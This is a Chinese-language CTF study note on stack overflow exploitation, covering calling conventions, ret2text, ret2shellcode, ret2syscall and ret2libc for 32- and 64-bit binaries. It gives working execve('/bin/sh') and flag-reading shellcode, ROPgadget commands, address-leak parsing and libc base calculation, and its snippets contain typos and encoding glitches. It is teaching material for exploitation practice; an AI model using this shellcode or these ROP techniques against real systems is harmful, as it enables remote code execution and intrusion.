栈溢出
栈基础知识
栈结构
函数调用过程
32位为例:
push?args
call?func
{
push?eip
jmp?func
push?ebp
mov?ebp,esp
?
leave
{
mov?esp,ebp
pop?ebp
ret?(pop?eip)
\begin{aligned} & \text{push args}\\ & \text{call func}\left\{\begin{matrix} \text{push eip}\\ \text{jmp func} \end{matrix}\right.\\ & \text{push ebp}\\ & \text{mov ebp,esp}\\ & \vdots \\ & \text{leave}\left\{\begin{matrix} \text{mov esp,ebp}\\ \text{pop ebp} \end{matrix}\right.\\ &\text{ret}\ \text{(pop eip)} \end{aligned}
?push?argscall?func{push?eipjmp?func?push?ebpmov?ebp,esp?leave{mov?esp,ebppop?ebp?ret?(pop?eip)?
函数参数传递
32位程序
- 普通函数传参:参数基本都压在栈上(有寄存器传参的情况,可查阅相关资料)。
- syscall传参:eax对应系统调用号,ebx、ecx、edx、esi、edi、ebp分别对应前六个参数多余的参数压在栈上。
64位程序:
- 普通函数传参:先使用rdi、rsi、rdx、rcx、r8、r9寄存器作为函数参数的前六个参数,多余的参数会依次压在栈上。
- syscall传参:rax对应系统调用号,传参规则与普通函数传参一致。
ret2text
栈溢出覆盖返回地址为后门函数从而获取shell。
ret2shellcode
将shellcode写入可执行的内存地址处,然后栈溢出覆盖返回地址到shellcode从而执行shellcode获取shell。
32位例题:wdb_2018_3rd_soEasy
64位例题:ciscn_2019_n_5
shellcode
手写
-
32位
-
shell(21字节) shellcode = asm("""
push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
""")
-
orw(56字节) shellcode = asm("""
/*open(./flag)*/
push 0x1010101
xor dword ptr [esp], 0x1016660
push 0x6c662f2e
mov eax,0x5
mov ebx,esp
xor ecx,ecx
int 0x80
/*read(fd,buf,0x100)*/
mov ebx,eax
mov ecx,esp
mov edx,0x30
mov eax,0x3
int 0x80
/*write(1,buf,0x100)*/
mov ebx,0x1
mov eax,0x4
int 0x80
""")
-
64位
-
shell(22字节) shellcode = asm("""
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi,esi
xor edx,edx
push 0x3b
pop rax
syscall
""")
-
orw(43字节) shellcode = asm("""
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
""")
pwntools 生成
ret2syscall
构造rop链模拟系统调用过程
ROPgadget 有时可自动构造,但可能长度过长,建议手动构造。
ROPgadget.py --binary ./pwn --ropchain
以execve("/bin/sh",0,0) 为例:
ROPgadget 检索相关指令举例:
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'ebx'
32位
- eax = 0x0b
- ebx指向
"/bin/sh" - ecx = 0x0
- edx = 0x0
rop示例:
64位
- rax = 0x3b
- rdi指向"/bin/sh"
- rsi = 0x0
- rdx = 0x0
rop示例:
ret2libc
linux延迟绑定机制
动态链接每个函数需要两个东西:
-
用来存放外部函数地址的数据段 -
用来获取数据段记录的外部函数地址的代码
对应有两个表,一个用来存放外部的函数地址的数据表称为全局偏移表(GOT, Global Offset Table),那个存放额外代码的表称为程序链接表(PLT,Procedure Link Table)
可执行文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址。
在这里面想要通过 plt 表获取函数的地址,首先要保证 got 表已经获取了正确的地址,但是在一开始就进行所有函数的重定位是比较麻烦的,为此,linux 引入了延迟绑定机制:只有动态库函数在被调用时,才会地址解析和重定位工作。
举例:
第一次调用
之后再次调用
利用过程
泄露函数地址
泄露libc函数地址的条件:程序中有输出函数,例如puts/printf/write
以write(1,buf,20) 为例:
-
32位 -
64位 需要控制三个参数,rdi,rsi,rdx 第三个参数代表输出的size,如果没有rdx的gadget可以暂时不管,输出多少无所谓。 截取泄露的函数地址
-
32位 u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
-
64位 u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
-
特别得,对于printf输出数字结果,不需要小端序转换,[:-1] 是为了去掉最后的回车 int(p.recvline()[:-1],16)
获取libc基址
-
LibcSearcher from LibcSearcher import *
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump("write")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
system_addr = libc_base + obj.dump("system")
-
ELF libc = ELF("./libc.so.6")
libc_base = write_addr - libc.symbol['write']
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
ayatem_addr = libc_base + libc.symbol['system']
构造rop获取shell system函数调用过程。 另外,可以one_gadget 查找已知的libc中exevce("/bin/sh") 语句的地址。 $ one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
|